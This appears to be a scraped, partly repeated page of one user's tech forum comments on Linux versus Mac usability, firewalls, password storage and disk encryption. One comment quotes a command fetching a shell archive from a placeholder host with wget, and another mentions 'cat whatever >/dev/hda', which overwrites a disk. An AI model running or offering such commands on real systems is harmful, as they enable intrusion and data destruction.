but if it really bugs you, turn it off by changing 2 lines in an XML file.
Here I was sitting here thinking Macs were better for "I want my computer to work" type people rather than Windows (I'm a Linux user), then you come out with that.
Editing an XML file for n00bs and non-programmers? What was Apple thinking? I expected a menu for all the options on the login screen, and a little checkbox for it...
I mean hell, options in Linux are usually:
loginscreen.3danimation: off
I might even recommend people stick with Windows if Apple does options like that (*shudder*)...
That better be the ONLY option set up like that, and they better either have a GUI option now or soon to fix that. People tout Mac OS as being the "ultimate" user-friendly desktop, they should stick to that.
Sure, if you only have two windows. Unfortunately there's no button for "expose the windows under this one" although there should be.
I thought that was the idea of the "Shade" feature. I have "Alt+D" set up in Fluxbox for that, and it works fine to see what's under it. It's even better than transparency because I don't have to read text through dim text;)
With that scheme you better make sure no one gets hold of your.bash_history file.
I use ZSH, and as far as I know there are no files that log the shell history for that. At least I hope not...
~/.bash_history is worthless in my opinion... It's pointless for auditing because a knowledgeable attacker would just run "wget http://whatever/shell.tar.gz", extract it, and have a non logging shell to work with.
Having one firewall is one thing, but TWO firewalls is a waste of resources.
ONE firewall with the same config that both have is the EXACT same thing. The second firewall is doing absolutely nothing if the rules are the same.
Unless you are trying to prevent vulnerabilities in iptables, the hardware firewall, or the kernel you are using, in which case, I would have firewall A be BSD or Linux, and firewall B be the other one.
Nooo, ACLs are Access Control Lists are ACLs. Firewalls are routers. Use each tool where applicable.
Routers are firewalls, but firewalls are NOT necessarily routers. All a firewall is is a packet filtering system.
I don't understand this "fear" of firewalls that people seem to have nowadays... firewalls are not a bandage, they are a layer of security that should not be removed. Say you want to access SSH from only computer X, well, having the service open to the world and just rejecting logins from other computers still leaves it vulnerable to buffer overflow problems if there are any discovered.
Another really good use for firewalls are egress filtering, egress filtering can essentially create a second layer of IDS, and prevent your servers from propagating viruses to mass amounts of computers if your computer gets infected.
Gets capital letters, letters from both sides of the alphabet, and some characters in there, while leaving lower case letters and numbers to spare. 32 character password with everything.
I read something similar on slashdot before, improved the idea:)
An excellent personal solution is to keep a list in your wallet. Keep another list somewhere safe and stationary, so that if you lose the first one you have a complete list of sites to go down to change all the passwords.
Well, there is another type of attack for this method, unfortunetly it's not listed on Secunia.
You can run Openoffice on a thumb drive and save your list of passwords in a encrypted document if you need added security.
Why make it so complicated?
You could use Firefox's internal "remember password" system, and link the file that stores those passwords to the usb pen drive, and the usb pen drive is mounted using an AES-256 encrypted partition.
Add a startup script to mount the partition, you type the password on startup, and then you are set, and, it's all done for you instead of looking it up in an OpenOffice document.
As annoying as these guys are, and as much as I want them gone, its hard to get too upset when I think that they may be doing this to feed their families.
It shouldn't be, because all those people marketing "these diet pills are better than the competition!" people are trying to feed their families, too. Same with the executives at RIAA/MPAA.
Sure they probably have a lot of money, but it seems that people with a lot of money nowadays lose it the fastest when they lose their jobs.
Look it up, 'rear' as a verb in this sense is used for bringing up children. 'raise' is used in this sense for growing crops and animals.
Humans are animals, too.
Also, "rear" as a verb in this situation is sort of strange. The phrase, "child rearing parents," sounds fine, but, "I was reared by my mother and father." doesn't.
You do realize that I said "I know what it is", don't you?
Almost every sentence a terrorist would use to plot against this country would include the word "the", but we don't look through every sentence that has that word. I was pointing out that "the football" is too vague of a term, because it would mark the 60-70% of males that watch football in America as terrorists.
To make this short and simple, virtually NOTHING worked properly under
Linux.
Maybe 4 years ago... MAYBE...
Video cards could not get maximum resolution.
Capture programs, for my ATI All In WOnder and Video camera did not
work. In fact my ATI cards advanced features (remote control amongst
other things) didn't work at all.
That's ATI's fault for hating Linux, not the Linux community. We can't exactly create great drivers when the company doesn't release its specifications on the cards. NVIDIA doesn't either, as far as I'm aware, but that doesn't matter because they have great Linux drivers.
As for remote controls and capture program, LIRC does most remote control functions perfectly, and a lot of distros have it already installed (I believe), and unless I'm mistaking the definition you are referring to for "capture program", GIMP does fine.
My printer (Brother all in one fax/copier/printer) did not work.
Most modern distros come preconfigured with CUPS, ready to print right out of the box.
My DSL connection did not work and when I called support they said
that Linux was not supported.
So does mine, and I'm posting this message, aren't I? "Not supported" means "we aren't going to help you with any problems you have". The DHCP and PPP protocols are straightforward, so it is obviously a problem with your network card. Unless you are using the same card in all computers, at least ONE, more likely all but that one you tried, of the computers should have had internet access right out of the box.
My mp3 and mpeg video and music files played but they skipped
horribly.
What distro did you try? I've NEVER had that problem, EVER (and I have 2 ATI cards!).
I couldn't log into my router via konqueror to change/view settings
I haven't configured my router through Windows period, only Linux. If your network card wasn't working like you said earlier, then that's a redundant problem. Unplug your ethernet cable from your computer and try configuring your router through Windows, it's the same thing.
MANY, MANY, MANY web pages did not display correctly.
What were you using Mozilla during the browser wars?
I was keen to learn but the RPM hunt and the randomness of program functioning
If you are using any RPM based distro, that's your own fault. RPM "hunting" and RPM "hell" (much like DLL "hell") make every RPM based distro crap the minute they base their system off of it (of course, that is only my opinion). Trying one distro and saying "MY GOD LINUX SUCKS!" is like trying Windows Server 2003 for your desktop and saying "MY GOD WINDOWS SUCKS!".
All of these "problems" are either minor issues or problems that don't exist today practically at all. While I personally don't like it, Ubuntu automatically detects everything pretty well, and has a decent "hide the background stuff" approach that seems to work somewhat nicely for people new to Linux. Also, if you are wanting a "I want my computer to work right now without touching it" approach, like Windows, I would try Linspire. I've heard their distro is working really nicely for that stuff.
Most of that doesn't even make any sense, like "site"? "the football" (I know what it is, but I just watched THE FOOTBALL game last night, too)? MP5, AK-47, GIGN... I knew Counter-Strike was bad for you but I didn't know it would make the government watch your ass... "INTELLIGENCE"??? "import"? "rain"? "tiger"? "buzzer"? "explicit"?
I know there are a bunch of tinfoil hat freaks on here, but this list is obviously fake... between CS, Splinter Cell, 24, and the Animal Planet, they would have to sift through a lot of information.
Honestly, where did you get this list? Were you really bored one day?
I really don't understand why Debian of all distros still uses XFree. They are the most politically involved (for lack of better terms) distro, in that they promote that no software in it is not 100% "free".
You laugh because it's Windows. "What security?" Now imagine your roommate did that shit on your Linux PC. Then he proceeds to mount/dev/hda and mess with your file permissions. Or worse. He accidentally does cat whatever >/dev/hda or something. Yeah.. you're laughing now.
For me, none of that matters. I have an encrypted root filesystem, with my cd/dvd drive booting disabled (with password lock on BIOS), and in order for someone to boot "normally" on it, they need my USB pen drive plugged in and know 3 passwords to unlock the encryption. Then, they have to login as root to mess with my stuff.
The only way they could touch the computer is if they rip the drive out, and that's destruction of property/theft anyway. I might also point out that doing that with Knoppix against a Windows box could be considered the same.
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but if it really bugs you, turn it off by changing 2 lines in an XML file.
Here I was sitting here thinking Macs were better for "I want my computer to work" type people rather than Windows (I'm a Linux user), then you come out with that.
Editing an XML file for n00bs and non-programmers? What was Apple thinking? I expected a menu for all the options on the login screen, and a little checkbox for it...
I mean hell, options in Linux are usually:
loginscreen.3danimation: off
I might even recommend people stick with Windows if Apple does options like that (*shudder*)...
That better be the ONLY option set up like that, and they better either have a GUI option now or soon to fix that. People tout Mac OS as being the "ultimate" user-friendly desktop, they should stick to that.
Sure, if you only have two windows. Unfortunately there's no button for "expose the windows under this one" although there should be.
;)
I thought that was the idea of the "Shade" feature. I have "Alt+D" set up in Fluxbox for that, and it works fine to see what's under it. It's even better than transparency because I don't have to read text through dim text
Its about damn time that someone put visualizations on a game console for playing CDs, dunno why they didn't do it sooner.
Funny, I could have sworn that my "original" Xbox already had that built in.
Sure it's not that good, but really nothing compares to Winamp's GForce or Linux' Goom.
Or at least
.bash_history file when they are done.
The side of my hand hit the mouse button when typing (laptop)....
Or at least edit the
With that scheme you better make sure no one gets hold of your .bash_history file.
I use ZSH, and as far as I know there are no files that log the shell history for that. At least I hope not...
~/.bash_history is worthless in my opinion... It's pointless for auditing because a knowledgeable attacker would just run "wget http://whatever/shell.tar.gz", extract it, and have a non logging shell to work with.
Or at least
Having one firewall is one thing, but TWO firewalls is a waste of resources.
ONE firewall with the same config that both have is the EXACT same thing. The second firewall is doing absolutely nothing if the rules are the same.
Unless you are trying to prevent vulnerabilities in iptables, the hardware firewall, or the kernel you are using, in which case, I would have firewall A be BSD or Linux, and firewall B be the other one.
Nooo, ACLs are Access Control Lists are ACLs. Firewalls are routers. Use each tool where applicable.
Routers are firewalls, but firewalls are NOT necessarily routers. All a firewall is is a packet filtering system.
I don't understand this "fear" of firewalls that people seem to have nowadays... firewalls are not a bandage, they are a layer of security that should not be removed. Say you want to access SSH from only computer X, well, having the service open to the world and just rejecting logins from other computers still leaves it vulnerable to buffer overflow problems if there are any discovered.
Another really good use for firewalls are egress filtering, egress filtering can essentially create a second layer of IDS, and prevent your servers from propagating viruses to mass amounts of computers if your computer gets infected.
At least I can use them to light a fire if I need to . Let's see you kids do that with your fancy email spam that's all the rage these days.
We're all about automation now, my email server automatically lights on fire when I get get my fancy email spam.
Beat that.
bla.com: u/xyz p/abc
yada.com: u/abc p/def
bbb.com: u/def p/ghi
I believe you loaded up the wrong file, none of those sites have login fields.
Most debit cards have limited withdrawals, and automatic alerting to the customer when a withdrawal is over $200 or so.
;)
With the password to the bank account, all you would need is a Swiss bank account
Or even better, parse it a bit, so that there are some more characters in there, such as:
Gets capital letters, letters from both sides of the alphabet, and some characters in there, while leaving lower case letters and numbers to spare. 32 character password with everything.
I read something similar on slashdot before, improved the idea
An excellent personal solution is to keep a list in your wallet. Keep another list somewhere safe and stationary, so that if you lose the first one you have a complete list of sites to go down to change all the passwords.
Well, there is another type of attack for this method, unfortunetly it's not listed on Secunia.
It's called a "mugging attack".
You can run Openoffice on a thumb drive and save your list of passwords in a encrypted document if you need added security.
Why make it so complicated?
You could use Firefox's internal "remember password" system, and link the file that stores those passwords to the usb pen drive, and the usb pen drive is mounted using an AES-256 encrypted partition.
Add a startup script to mount the partition, you type the password on startup, and then you are set, and, it's all done for you instead of looking it up in an OpenOffice document.
As annoying as these guys are, and as much as I want them gone, its hard to get too upset when I think that they may be doing this to feed their families.
It shouldn't be, because all those people marketing "these diet pills are better than the competition!" people are trying to feed their families, too. Same with the executives at RIAA/MPAA.
Sure they probably have a lot of money, but it seems that people with a lot of money nowadays lose it the fastest when they lose their jobs.
If I were an exterminator, i'd be more worried about cockroach anti-personel fragmentation mines.
If I were an exterminator, I'd be more worried about getting a better job.
[I] just can't believe someone would write a story saying Slashdot is far right.
sarcasm
True. They also did nothing when Americans killed untold number of Vietnamese, and also when Americans bombed unreal amount of countries.
Why are you using the past tense?
Look it up, 'rear' as a verb in this sense is used for bringing up children. 'raise' is used in this sense for growing crops and animals.
Humans are animals, too.
Also, "rear" as a verb in this situation is sort of strange. The phrase, "child rearing parents," sounds fine, but, "I was reared by my mother and father." doesn't.
You do realize that I said "I know what it is", don't you?
Almost every sentence a terrorist would use to plot against this country would include the word "the", but we don't look through every sentence that has that word. I was pointing out that "the football" is too vague of a term, because it would mark the 60-70% of males that watch football in America as terrorists.
To make this short and simple, virtually NOTHING worked properly under Linux.
Maybe 4 years ago... MAYBE...
Video cards could not get maximum resolution.
Capture programs, for my ATI All In WOnder and Video camera did not work. In fact my ATI cards advanced features (remote control amongst other things) didn't work at all.
That's ATI's fault for hating Linux, not the Linux community. We can't exactly create great drivers when the company doesn't release its specifications on the cards. NVIDIA doesn't either, as far as I'm aware, but that doesn't matter because they have great Linux drivers.
As for remote controls and capture program, LIRC does most remote control functions perfectly, and a lot of distros have it already installed (I believe), and unless I'm mistaking the definition you are referring to for "capture program", GIMP does fine.
My printer (Brother all in one fax/copier/printer) did not work.
Most modern distros come preconfigured with CUPS, ready to print right out of the box.
My DSL connection did not work and when I called support they said that Linux was not supported.
So does mine, and I'm posting this message, aren't I? "Not supported" means "we aren't going to help you with any problems you have". The DHCP and PPP protocols are straightforward, so it is obviously a problem with your network card. Unless you are using the same card in all computers, at least ONE, more likely all but that one you tried, of the computers should have had internet access right out of the box.
My mp3 and mpeg video and music files played but they skipped horribly.
What distro did you try? I've NEVER had that problem, EVER (and I have 2 ATI cards!).
I couldn't log into my router via konqueror to change/view settings
I haven't configured my router through Windows period, only Linux. If your network card wasn't working like you said earlier, then that's a redundant problem. Unplug your ethernet cable from your computer and try configuring your router through Windows, it's the same thing.
MANY, MANY, MANY web pages did not display correctly.
What were you using Mozilla during the browser wars?
I was keen to learn but the RPM hunt and the randomness of program functioning
If you are using any RPM based distro, that's your own fault. RPM "hunting" and RPM "hell" (much like DLL "hell") make every RPM based distro crap the minute they base their system off of it (of course, that is only my opinion). Trying one distro and saying "MY GOD LINUX SUCKS!" is like trying Windows Server 2003 for your desktop and saying "MY GOD WINDOWS SUCKS!".
All of these "problems" are either minor issues or problems that don't exist today practically at all. While I personally don't like it, Ubuntu automatically detects everything pretty well, and has a decent "hide the background stuff" approach that seems to work somewhat nicely for people new to Linux. Also, if you are wanting a "I want my computer to work right now without touching it" approach, like Windows, I would try Linspire. I've heard their distro is working really nicely for that stuff.
so youre saying people who are not blind would be completely incapable of using a machine that did not have a video interface?
I can't read braille, can you?
Where in the hell did you get that list?
Most of that doesn't even make any sense, like "site"? "the football" (I know what it is, but I just watched THE FOOTBALL game last night, too)? MP5, AK-47, GIGN... I knew Counter-Strike was bad for you but I didn't know it would make the government watch your ass... "INTELLIGENCE"??? "import"? "rain"? "tiger"? "buzzer"? "explicit"?
I know there are a bunch of tinfoil hat freaks on here, but this list is obviously fake... between CS, Splinter Cell, 24, and the Animal Planet, they would have to sift through a lot of information.
Honestly, where did you get this list? Were you really bored one day?
knowing Debians' history, it will take a good while until it reaches stable.
Exactly, we'll get X.Org in Debian by the time that X.Org's successor is being phased out by the Linux community.
I really don't understand why Debian of all distros still uses XFree. They are the most politically involved (for lack of better terms) distro, in that they promote that no software in it is not 100% "free".
You laugh because it's Windows. "What security?" Now imagine your roommate did that shit on your Linux PC. Then he proceeds to mount /dev/hda and mess with your file permissions. Or worse. He accidentally does cat whatever >/dev/hda or something. Yeah.. you're laughing now.
For me, none of that matters. I have an encrypted root filesystem, with my cd/dvd drive booting disabled (with password lock on BIOS), and in order for someone to boot "normally" on it, they need my USB pen drive plugged in and know 3 passwords to unlock the encryption. Then, they have to login as root to mess with my stuff.
The only way they could touch the computer is if they rip the drive out, and that's destruction of property/theft anyway. I might also point out that doing that with Knoppix against a Windows box could be considered the same.